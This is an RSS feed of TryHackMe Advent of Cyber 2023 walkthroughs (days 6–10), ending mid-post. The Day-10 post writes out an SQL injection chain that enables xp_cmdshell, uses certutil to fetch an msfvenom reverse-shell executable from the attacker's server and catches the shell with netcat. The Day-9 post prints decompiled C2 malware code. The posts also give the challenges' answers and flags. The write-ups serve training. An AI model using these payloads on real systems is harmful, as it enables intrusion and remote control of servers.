<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by OwenW on Medium]]></title>
        <description><![CDATA[Stories by OwenW on Medium]]></description>
        <link>https://medium.com/@OwenW_CTF?source=rss-21a72499e4fe------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*T9migAVpD0w5G_QD8YybWA.jpeg</url>
            <title>Stories by OwenW on Medium</title>
            <link>https://medium.com/@OwenW_CTF?source=rss-21a72499e4fe------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 19:39:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@OwenW_CTF/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Advent of Cyber 2023 (Day-10) -TryHackMe-]]></title>
            <link>https://medium.com/@OwenW_CTF/advent-of-cyber-2023-day-10-tryhackme-de250c8c97d9?source=rss-21a72499e4fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/de250c8c97d9</guid>
            <category><![CDATA[advent-of-cyber-2023]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[OwenW]]></dc:creator>
            <pubDate>Tue, 12 Dec 2023 00:23:16 GMT</pubDate>
            <atom:updated>2023-12-12T00:23:16.750Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*ufFeqzxASjjvFX0-42-Agg.png" /></figure><p>Hi, today we will go on a quick overview of AoC 2023 DAY-10. We will take a look in SQL and have a basic introduction of SQL injection which is a one of the top 10 OWASP of critical web application security risks.</p><p>We will only focus on how to get the solution of our goal today. For the rest of thing like what is SQL or the introduction of SQLi(SQL injection) can be found from TryHackMe website.</p><p><a href="https://tryhackme.com/room/adventofcyber2023">Advent of Cyber 2023</a></p><p>Our goal is try to find SQL injection from a website and use this injection to give us a reverse shell. During the process, we will find all the solution we need for the tasks. First Start machine and start the Attackbox, here I am using my kali virtualbox instead. Then visit HTTP website, we will find there is a official website for “Best Festival Company”. Go to the “Gift Search” page and there is the first webpage you come across that contains the gift-finding feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*ZpHBDjOhMUmwKlOeMXxX1g.png" /></figure><pre><strong>Manually navigate the defaced website to find the vulnerable search form. What is the first webpage you come across that contains the gift-finding feature?</strong><br>/giftsearch.php</pre><p>The search result it response seems have a SQL injection, so we try to inject and found some useful error back. The error we received is a huge breakthrough, as it gives us many details on the underlying database management system powering this website and confirms that the user input is unsanitised. This error message shows that <strong>Microsoft SQL Server</strong> is the database manager due to the banners and driver information between the square brackets. We can also see the ODBC driver after the SQL type.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*6eF3qqGyljtaTanN5K92mA.png" /></figure><pre><strong>Analyze the SQL error message that is returned. What ODBC Driver is being used in the back end of the website?</strong><br>ODBC Driver 17 for SQL Server</pre><p>Then we try to use “1=1” to have the injection, and we can dump all the data from the database. Also the last line of the response data is our first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*1YuMKMQTpdWvWnSNf4qTwA.png" /></figure><pre><strong>Inject the 1=1 condition into the Gift Search form. What is the last result returned in the database?</strong><br>THM{a4ffc901c27fb89efe3c31642ece4447}</pre><p>Then we need to use the following command to get the reverse shell. First create a payload on your local and start a http server with Python3.</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR.IP.ADDRESS.HERE LPORT=4444 -f exe -o reverse.exe<br><br>python3 -m http.server 8000</pre><p>We’ll first enable advanced configuration options in SQL Server by setting show advanced options to 1. We then apply the change to the running configuration via the RECONFIGURE statement. Next, we enable the <strong>xp_cmdshell</strong> procedure by setting xp_cmdshell to 1 and applying the change to the running configuration again. (Need to replace the website part with the IP you get from TryHackMe, same later)</p><pre>http://website/giftresults.php?age=&#39;; EXEC sp_configure &#39;show advanced options&#39;, 1; RECONFIGURE; EXEC sp_configure &#39;xp_cmdshell&#39;, 1; RECONFIGURE; --</pre><p>Then it’s time to use our stacked query to call <strong>xp_cmdshell</strong> and execute the <strong>certutil.exe</strong> command on the target to download our payload.</p><pre>http://website/giftresults.php?age=&#39;; EXEC xp_cmdshell &#39;certutil -urlcache -f http://YOUR.IP.ADDRESS.HERE:8000/reverse.exe C:\Windows\Temp\reverse.exe&#39;; --</pre><p>The above SQL statement will call <strong>certutil</strong> to download the <strong>reverse.exe</strong> file from our Python HTTP server and save it to the Windows temp directory for later use. After requesting the above URL to execute the stacked query, we should immediately know if we were successful by checking the output of our HTTP server. There should be a request for <strong>reverse.exe</strong>:</p><p>Python HTTP Server Request:</p><pre>└─$ python3 -m http.server 8000  	 <br>Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...<br>10.10.64.238 - - [10/Dec/2023 14:20:59] &quot;GET /reverse.exe HTTP/1.1&quot; 200 -</pre><p>Then to set up our listener, we can use the <strong>netcat</strong> utility on the AttackBox to listen on <strong>port 4444</strong> (the same port we specified in our payload). Netcat is a versatile networking utility that can be used for reading from and writing to network connections.</p><p>Start a netcat Listener:</p><pre>nc -lnvp 4444</pre><p>Now, we can run one final stacked query to execute the <strong>reverse.exe</strong> file we previously saved in the C:\Windows\Temp directory:</p><pre>http://10.10.64.238/giftresults.php?age=&#39;; EXEC xp_cmdshell &#39;C:\Windows\Temp\reverse.exe&#39;; --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*Xn2-S0PgufUYRl0F8UapiQ.png" /></figure><p>After we get the reverse shell, we can go to the desktop directory and get the note.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*wXi44uwRSGhg8EsXf0DcVg.png" /></figure><p>The Note.txt contains the following thing.</p><pre>type Note.txt<br>====================<br>Hey h4ck3r0192,<br><br>I recieved your Bitcoin payment, thanks again for a speedy transaction.<br><br>After you gain access to the server, you can deface the website by running the deface_website.bat script in C:\Users\Administrator\Desktop. Feel free to dump the database and steal whatever you want.<br><br>If you need to revert the changes back to the original site for any reason, just run restore_website.bat from the same directory.<br><br>Also, I shouldn&#39;t need to mention this, but PLEASE DELETE this Note.txt file after defacing the website! Do NOT let this hack tie back to me.<br><br>-Gr33dstr<br><br>THM{b06674fedd8dfc28ca75176d3d51409e}</pre><pre><strong>What flag is in the note file Gr33dstr left behind on the system?</strong><br>THM{b06674fedd8dfc28ca75176d3d51409e}</pre><p>Then run the restore_website.bat and back to the website main page, we can get the final flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_DmcFNmz8S2e0YA50SvP4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kUC2z2svNRQdITbn2G-8_A.png" /></figure><pre><strong>What is the flag you receive on the homepage after restoring the website?</strong><br>THM{4cbc043631e322450bc55b42c}</pre><p>Happy Hacking ! Hope you like this !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de250c8c97d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2023 (Day-9) -TryHackMe-]]></title>
            <link>https://medium.com/@OwenW_CTF/advent-of-cyber-2023-day-9-tryhackme-37e7cf3e49d1?source=rss-21a72499e4fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/37e7cf3e49d1</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[advent-of-cyber-2023]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[OwenW]]></dc:creator>
            <pubDate>Sun, 10 Dec 2023 01:53:24 GMT</pubDate>
            <atom:updated>2023-12-10T01:53:24.005Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*ufFeqzxASjjvFX0-42-Agg.png" /></figure><p>Hi, it is a new day of Advent of Cyber 2023 from TryHackMe. Today we are going to talk about a new part of cybersecurity which is malware analysis. Let’s gooo!</p><p><strong>Always take precautions during your analysis.</strong> Handling malware is dangerous because it is software explicitly designed to cause harm, steal information, or compromise the security and functionality of computer systems. So we usually use <strong>sandbox</strong> or other similar way to create the isolation between malware and your local computer data. A sandbox is like a pretend computer setup that acts like a real one. It’s a safe place for experts to test malware and see how it behaves without any danger.</p><p>Our today’s goal is analyze an .NET binaries malware. .NET binaries are compiled files containing code written in languages compatible with the .NET framework, such as C#, VB.NET, F#, or managed C++. During those languages, C# binary can be decompiled and its source code retrieved since the intermediate language contains metadata that can be reconverted to its source code form which can be helpful when we analysis.</p><p>If you don’t have the programming language background, take a look in C# basic grammar will be helpful during the later tasks.</p><p><a href="https://programming-0101.github.io/TheBook/Teach/chapter1-7.html#table-of-contents"># A Simplified C# Grammar</a></p><p>Malware can have different behaviors, and these are created by the malware’s writers. Here we go to our goal directly to analyze this malware.</p><p>Start the machine and connect to it through the split view. We have a similar desktop like yesterday (DAY-8).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fMlHWn1NJygXmfILDwbXtg.png" /></figure><p>We will use dnSpy to decompile the binary and review its source code. <strong>dnSpy</strong> is an open-source .NET assembly (C#) debugger and editor. It is typically used for reverse engineering .NET applications and analysing their code and is primarily designed for examining and modifying .NET assemblies in a user-friendly, interactive way.</p><p>Let’s open this tool. Once the tool is open, we will load the malware sample by navigating to File &gt; Open located on the upper-left side of the application and open the file on the desktop “artefackts” directory as above. Once the malware sample is loaded, you’ll have a view like the image below. The next step is to click the Main string, which will take you to the entry point of the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*UPA0V5Ms62YAFljvpGdmCQ.png" /></figure><p>The main code include most of the information we need such as the url or the path the malware will use during the malware execute. Then, view the list of functions inside the Program class by clicking the highlighted section, as shown in the image below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/281/1*uiCEolC3OWPOrrkdD62dzA.png" /></figure><p>Those functions are using during the malware. Let’s go to the task details and talk those functions during the analysis. The first question ask for the HTTP User-Agent used by the malware for its connection requests to the C2 server. The HTTP User-Agent is set during the process of initiate an HTTP request. The <strong>Getit </strong>function uses the WebRequest class from the System.Net namespace and is initialised by the function&#39;s URL argument and use the User-Agent.</p><pre>public static string GetIt(string url)<br>{<br> HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);<br> httpWebRequest.UserAgent = &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15&quot;;<br> return new StreamReader(((HttpWebResponse)httpWebRequest.GetResponse()).GetResponseStream()).ReadToEnd();<br>}</pre><pre><strong>What HTTP User-Agent was used by the malware for its connection requests to the C2 server?</strong><br>Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15</pre><p>Compare to <strong>Getit</strong>, another function called <strong>Postit</strong> also uses the WebRequest class. The most notable value is the Method property, wherein the value is set to POST. This means that the HTTP request made by this function is a POST request.</p><pre>httpWebRequest.Method = &quot;POST&quot;;</pre><pre><strong>What is the HTTP method used to submit the command execution output?</strong><br>POST</pre><p>Then we noticed there are two functions seems work for encryption and decryption which is called <strong>Encryptor</strong> and <strong>Decryptor</strong>. Open it and we can get the key during the encryption/decryption.</p><pre>byte[] bytes = Encoding.ASCII.GetBytes(&quot;youcanthackthissupersecurec2keys&quot;);</pre><pre><strong>What key is used by the malware to encrypt or decrypt the C2 data?</strong><br>youcanthackthissupersecurec2keys</pre><p>After that, back to the main function we can see some initial data which will use for the later loop. We can get the first URL used by malware from this.</p><pre>string str = &quot;http://mcgreedysecretc2.thm&quot;;<br>string url = str + &quot;/reg&quot;;</pre><pre><strong>What is the first HTTP URL used by the malware?</strong><br>http://mcgreedysecretc2.thm/reg</pre><p>Also, we have a <strong>Sleeper</strong> function, it only contains a single line: a call to the Thread.Sleep function. The Thread.Sleep function accepts an integer as its argument and makes the program pause (for milliseconds) based on the value passed to it. Next question ask for the hardcoded value used by the sleep function which is the value of “count”. Back to the main function we can get the initial count value. (Remember that the value passed to the Sleep function is using milliseconds. 1000 milliseconds = 1 seconds)</p><pre>...<br>int count = 15000;<br>bool flag = false;<br> for (;;)<br> {<br>  Program.Sleeper(count);<br>...</pre><pre><strong>How many seconds is the hardcoded value used by the sleep function?</strong><br>15</pre><p>Then, it ask for the C2 command the attacker uses to execute commands via cmd.exe. This also means when the malware will execute <strong>ExecuteCommand</strong> function because cmd.exe will execute in that function. There are some if-else command. we only need to figure out which line is for the <strong>ExecuteCommand </strong>function. Here, the function is in the second if-else statement so when the a == shell, the <strong>ExecuteCommand </strong>function will execute.</p><pre>if (!(a == &quot;sleep&quot;))<br>   {<br>    if (!(a == &quot;shell&quot;))<br>    {<br>     if (!(a == &quot;implant&quot;))<br>     {<br>      if (a == &quot;quit&quot;)<br>      {<br>       flag = true;<br>      }<br>     }<br>     else<br>     {<br>      string text2 = Program.Implant(&quot;http://stash.mcgreedy.thm/spykit.exe&quot;);<br>      if (!string.IsNullOrEmpty(text2))<br>      {<br>       string str3 = Program.Encryptor(text2);<br>       string data2 = &quot;result=&quot; + str3;<br>       Program.PostIt(url3, data2);<br>      }<br>     }<br>    }<br>    else<br>    {<br>     string str4 = Program.Encryptor(Program.ExecuteCommand(text));<br>     string data3 = &quot;result=&quot; + str4;<br>     Program.PostIt(url3, data3);<br>    }<br>   }<br>   else<br>   {<br>    count = int.Parse(text) * 1000;<br>   }</pre><pre><strong>What is the C2 command the attacker uses to execute commands via cmd.exe?</strong><br>shell</pre><p>From above code, we can also get the domain used by the malware which use to download another binary.</p><pre><strong>What is the domain used by the malware to download another binary?</strong><br>stash.mcgreedy.thm</pre><p>Here we go, this is all today’s challenge walkthrough. Feel free to give me feedback. Happy hacking !!! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37e7cf3e49d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2023 (Day-8) -TryHackMe-]]></title>
            <link>https://medium.com/@OwenW_CTF/advent-of-cyber-2023-day-8-tryhackme-ecf277952aee?source=rss-21a72499e4fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/ecf277952aee</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[disk-forensics]]></category>
            <category><![CDATA[advent-of-cyber-2023]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[OwenW]]></dc:creator>
            <pubDate>Sun, 10 Dec 2023 00:34:34 GMT</pubDate>
            <atom:updated>2023-12-10T00:34:34.417Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*ufFeqzxASjjvFX0-42-Agg.png" /></figure><p>Hi, today we are going to talk about disk forensics. It is a part of digital forensics. Let’s go to the main part.</p><p>Pass some background story, our goal for this task is to do an analysis on the physical USB device on the computer. Here we are going to use a tool called FTK Imager which is a powerful tool for disk forensics. It is a forensics tool that allows forensic specialists to acquire computer data and perform analysis without affecting the original evidence, preserving its authenticity, integrity, and validity for presentation during a trial in a court of law.</p><p>First start the machine and connect to it use the split view screen. We can see a desktop with the FTK Imager on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mHIf-0xaDedAuU8679veow.png" /></figure><p>Open it and wait some seconds for it start. Then navigate to File &gt; Add Evidence Item, select Physical Drive in the pop-up window, then choose our emulated USB drive <strong>&quot;\\PHYSICALDRIVE2 - Microsoft Virtual Disk [1GB SCSI]&quot;</strong> to proceed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L70F2YdT_oy0i-WqRPRUEw.png" /></figure><p>After the disk fully loaded, we can start our task. FTK Imager presents three distinct modes for displaying file content.</p><ul><li><strong>Automatic mode:</strong> Selects the optimal preview method based on the file type. It utilises Internet Explorer (IE) for web-related files, displays text files in ASCII/Unicode, and opens unrecognised file types in their native applications or as hexadecimal code.</li><li><strong>Text mode:</strong> Allows file contents to be previewed as ASCII or Unicode text. This mode is useful for revealing hidden text and binary data in non-text files.</li><li><strong>Hex mode:</strong> Displays files in hexadecimal format, providing a detailed view of file data at the binary (or byte) level.</li></ul><p><strong>IMPORTANT:</strong> Please use <strong>Hex</strong> mode instead of <strong>Text</strong> mode to avoid crashing FTK Imager when processing files as text.</p><p>We can use the tool to see which file been deleted. There is an interesting file called secretchat.txt was been deleted. Open it and we can get our first question’s answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nqXXpT3IdVZN0QCJ6DWo3w.png" /></figure><pre><strong>What is the malware C2 server?</strong><br>mcgreedysecretc2.thm</pre><p>Then open the zip file from DO_NOT_OPEN directory and we can get the name of file inside the deleted zip archive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Ozsi08AtRuivN4PGEWeMg.png" /></figure><pre><strong>What is the file inside the deleted zip archive?</strong><br>JuicyTomaTOY.exe</pre><p>Next question ask for the flag inside the deleted .png file. First we search for the correct file type and consider clicking “Ctrl + F” to search for “THM{“ while in Hex preview mode in the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*EJ_VlO6--61CuXqs6THT8A.png" /></figure><pre><strong>What flag is hidden in one of the deleted PNG files?</strong><br>THM{byt3-L3vel_@n4Lys15}</pre><p>The last question ask for the SHA1 hash of the full disk, we can right click on the disk and use “Drive/Image Verify”. Then wait for the verify process and we can get all different hash of this disk after that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*S6_q21DK3E9q3rAoJFEIgw.png" /></figure><pre><strong>What is the SHA1 hash of the physical drive and forensic image?</strong><br>39f2dea6ffb43bf80d80f19d122076b3682773c2</pre><p>Happy hacking ! Hope you like this one and feel free to give me feedback.</p><p>By the way there is an awesome digital forensics room by TryHackMe. If you like today’s challenge and want more, you can try this one.</p><p><a href="https://tryhackme.com/room/caseb4dm755">Digital Forensics Case B4DM755</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ecf277952aee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2023 (Day-7) -TryHackMe-]]></title>
            <link>https://medium.com/@OwenW_CTF/advent-of-cyber-2023-day-7-tryhackme-f20f39386c9a?source=rss-21a72499e4fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/f20f39386c9a</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[log-analysis]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[proxy]]></category>
            <dc:creator><![CDATA[OwenW]]></dc:creator>
            <pubDate>Fri, 08 Dec 2023 06:56:51 GMT</pubDate>
            <atom:updated>2023-12-08T06:56:51.528Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*ufFeqzxASjjvFX0-42-Agg.png" /></figure><p>Hey hackers, we are going to work in log analysis today which is the Day-7 of Advent of Cyber 2023 in TryHackMe. It talk a lot about log analysis and how revisiting log files and their importancet. During the walkthrough we will also talk about how to build Linux command-line skills to parse log entries manually. At last, we will analyze a proxy log based on typical use cases. Let’s gooo!</p><p>The log analysing is actually work on the different log file, so what is log file and how they created. A log file is like a digital trail of what’s happening behind the scenes in a computer or software application. It records important events, actions, errors, or information as they happen. It helps diagnose problems, monitor performance, and record what a program or application is doing. For clarity, let’s look at a quick example.</p><pre>158.32.51.188 - - [25/Oct/2023:09:11:14 +0000] &quot;GET /robots.txt HTTP/1.1&quot; 200 11173 &quot;-&quot; &quot;curl/7.68.0&quot;</pre><p>We can interpret it easily by breaking down each value into its corresponding purpose. We have Source IP Address, Timestamp, HTTP Request, Status Code and User Agent . Being able to interpret a log entry allows you to contextualise the events, whether for debugging purposes or for hunting potential threat activity.</p><p>Today we will analyze proxy log, so what is proxy log. Those log file in being created by a Proxy or Proxy server. A proxy server is an intermediary between your computer or device and the internet. When you request information or access a web page, your device connects to the proxy server instead of connecting directly to the target server. The proxy server then forwards your request to the internet, receives the response, and sends it back to your device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j9yOhT2SvWpsYpijxxkpPQ.png" /></figure><p>Those proxy not always outside your computer, if you catch network data flow in local using tools such as Burpsuite, which is another kinds of proxy but in your local. We usually don’t called that a ‘server’, however, just a proxy. Anyway, after we set proxy we can get the logs we want. Those logs enables system administrators and security analysts to monitor which websites users access, when, and how much bandwidth is used. It also allows administrators to enforce policies and block specific websites or content categories.</p><p>Now we move to our task. Our task goal is to analyze a log file and found some important message from it. During the process, we will learn how to analyze the log with linux command.</p><p>Basically, we need to know 5 linux command to finish our today’s tasks.</p><ol><li><strong>cut</strong>: The <strong>cut</strong> command allows you to extract specific sections (columns) of lines from a file or input stream by “cutting” the line into columns based on a delimiter and selecting which columns to display. This can be done using the -d option (for delimiter) and the -f for position. For example, cut -d &#39; &#39; -f1 access.log is means cut the context from file access.log with&#39; &#39;and only output with the first position.</li><li><strong>pipe</strong> (or the “|” character): It allows you to take the <strong>output</strong> of one command and use it as the input for another command. So is sounds like command-A | command-B == command-B(command-A) . (There is not a command-B(command-A)command, just a illustrate here).</li><li><strong>grep</strong>: <strong>grep</strong> is a command in Linux that is used for searching text within files or input streams. It typically follows the syntax: grep OPTIONS STRING_TO_SEARCH FILE_NAME.</li><li><strong>sort</strong>&amp;<strong>uniq</strong>: <strong>sort</strong> is a Linux command used to sort the lines of text files or input streams in ascending or descending order, while the <strong>uniq </strong>command allows you to filter out and display unique lines from a sorted file or input stream. (Remember, we always use <strong>uniq</strong> after <strong>sort</strong>, since <strong>uniq</strong> only compare the adjacent line).</li></ol><p>After we know this we can go to our task. Start the machine and use the desktop on the split view screen. We can see a directory on the desktop and that is the location of our log file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*nyKZWQAvB8HQLgTm-P-4Jg.png" /></figure><p>You can try to use cat command to open the log file and will find every line follow the rules like:</p><pre>timestamp - source_ip - domain:port - http_method - http_uri - status_code - response_size - user_agent</pre><p>This is the structure of this log file. Remember the order of those value, it will be helpful when we use cut command to analyze the file. Then we can use the combination of the above command to get the answers we need. Here I am going to give you my command for those tasks. Those are one of solution, you can try to use other command to reach same result.</p><p>The first two question is pretty similar, it ask for the uniq IP and domain count, we just need to use the following command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zpggP788w1_PgzHWgKHdpQ.png" /></figure><pre><strong>How many unique IP addresses are connected to the proxy server?<br></strong>9</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zXblN69Pv7hzjSB5jEjpBw.png" /></figure><pre><strong>How many unique domains were accessed by all workstations?</strong><br>111</pre><p>Then it ask for the status code is generated by the HTTP requests to the least accessed domain? So we need to find which domain is the least accessed domain, then grep this domain to find the status code. Since the domain is also include the port accessed, so we need to use cut command again to divide the output into two part and only need the first part which is domain name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vS_CZ1wgOLXTh6gSZukLjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r3R-7MMSzt0eBAOaNWORmA.png" /></figure><pre><strong>What status code is generated by the HTTP requests to the least accessed domain?</strong><br>503</pre><p>We can also find some domain with suspicious name which is ended with .thm. Also the next question ask for the name of suspicious domain with high count of connection. So we can get answers from here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cUPQgIe9nzeweHfinM6kew.png" /></figure><pre><strong>Based on the high count of connection attempts, what is the name of the suspicious domain?</strong><br>frostlings.bigbadstash.thm</pre><p>With this domain name, we can easily find the next two question’s answers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xpGuqrJZGrtPXLslPzdt4w.png" /></figure><pre><strong>What is the source IP of the workstation that accessed the malicious domain?</strong><br>10.10.185.225<br><br><br><strong>How many requests were made on the malicious domain in total?</strong><br>1581</pre><p>The last question is hidden inside the base64 code from the log, we can use decode command to get it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mv5xXwkRM53c2US4rkAAoQ.png" /><figcaption>base64 inside goodies=</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zsZSzzbfGnnNqmmLvW0SCA.png" /><figcaption>decode and grep {</figcaption></figure><pre><strong>Having retrieved the exfiltrated data, what is the hidden flag?</strong><br>THM{a_gift_for_you_awesome_analyst!}</pre><p>Happy hacking ! Hope you enjoy this story !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f20f39386c9a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2023 (Day-6) with Easter egg -TryHackMe-]]></title>
            <link>https://medium.com/@OwenW_CTF/advent-of-cyber-2023-day-6-tryhackme-233aecd75c38?source=rss-21a72499e4fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/233aecd75c38</guid>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[game-development]]></category>
            <category><![CDATA[memories]]></category>
            <dc:creator><![CDATA[OwenW]]></dc:creator>
            <pubDate>Thu, 07 Dec 2023 07:01:19 GMT</pubDate>
            <atom:updated>2023-12-07T07:32:02.508Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*ufFeqzxASjjvFX0-42-Agg.png" /></figure><p>Hi, it is a new day of Advent of Cyber 2023, today we are going to talk about “memory” during the program or code. Memory contains all the data we have, if we can’t protect our program’s data, we will have no privacy. So during this walkthrough we will figure out how specific languages may not handle memory safely and how variables might overflow into adjacent memory and corrupt it. Let’s go to the main part.</p><p>First connect to the machine using the “Start machine” icon and use the reference link on the webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*F08A1A-EGFHvfhTcjUUSIQ.png" /></figure><p>We will see a game called “CatOrMouse” on it. Your objective is to save Christmas by buying the star for your Christmas tree from Van Frosty. In addition to the star, you can buy as many ornaments as you can carry to decorate your tree. To gain money to buy things, you can use the computer to do online freelance programming jobs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*ibZfibOCQEgoLftfcekGyA.png" /></figure><p>You can also speak to Van Holly to change your name for a fee of 1 coin per character. There is an interesting thing when you do this.</p><ul><li>Use the computer until you get 13 coins.</li><li>Ask Van Holly to change your name to scroogerocks!</li><li>Suddenly, you have 33 coins out of nowhere.</li></ul><p>You can press TAB repeatedly to cycle through two different views of the debugging interface:</p><ul><li><strong>ASCII view:</strong> The memory contents will be shown in ASCII encoding. It is useful when trying to read data stored as strings.</li><li><strong>HEX view:</strong> The memory contents will be shown in HEX. This is useful for cases where the data you are trying to monitor is a raw number or other data that can’t be represented as ASCII strings.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/293/1*PZQCB-zIsqx3tbeneVRG3g.png" /></figure><p>So how the previous things going on. Whenever we execute a program (this game included), all data will be processed somehow through the computer’s <strong>RAM (random access memory)</strong>. In this videogame, your coin count, inventory, position, movement speed, and direction are all stored somewhere in the memory and updated as needed as the game goes on.</p><p>Usually, each variable stored in memory can only be manipulated in specific ways as the developers intended. For example, you should only be able to modify your coins by working on the PC or by spending money either in the store or by changing your name. In a well-programmed game, you shouldn’t be able to influence your coins in any other way.</p><p>But what happens if we can indirectly change the contents of the memory space that holds the coin count? What if the game had a flaw that allows you to overwrite pieces of memory you are not supposed to? Memory corruption vulnerabilities will allow you to do that and much more. Viewing the contents in RAM will prove helpful for understanding how memory corruption occurs, so be sure to check the debug panel for each action you make in the game.</p><p>So there is two points that we need to get from above state:</p><ol><li>The value of any variable is end with the <strong>NULL</strong> symbol.</li><li>The value between different variables do not set a good boundaries.</li></ol><p>This is a simple version of buffer overflow. After we know this, we can use the overflow to change any data we want. For example now I am setting my name to all “1”. This what will happen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*yvwYIttR0CLvuNR8r-IVVw.png" /></figure><p>All the data become 1. There is another things that need to mention in this game, look at this example, the hex data in the coin field is like &lt;4f 4f 50 53&gt;. But the actual value of the coin is reversed. Because that’s how stack (a format of data storage) contains data in the real world, if you are interesting in the real world buffer overflow and how stack work, you can check this room.</p><p><a href="https://tryhackme.com/room/bof1">TryHackMe | Cyber Security Training</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*gAxbsw8ihvFquDhsJrk6xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*XBv_xFPBzs6h1N8BbAHcqg.png" /></figure><p>To win this game, you need to buy full of things include a star in your inventory. Here the “d” means the star, so what we need to do is overwrite with ‘d’. For example like this.</p><figure><img alt="" 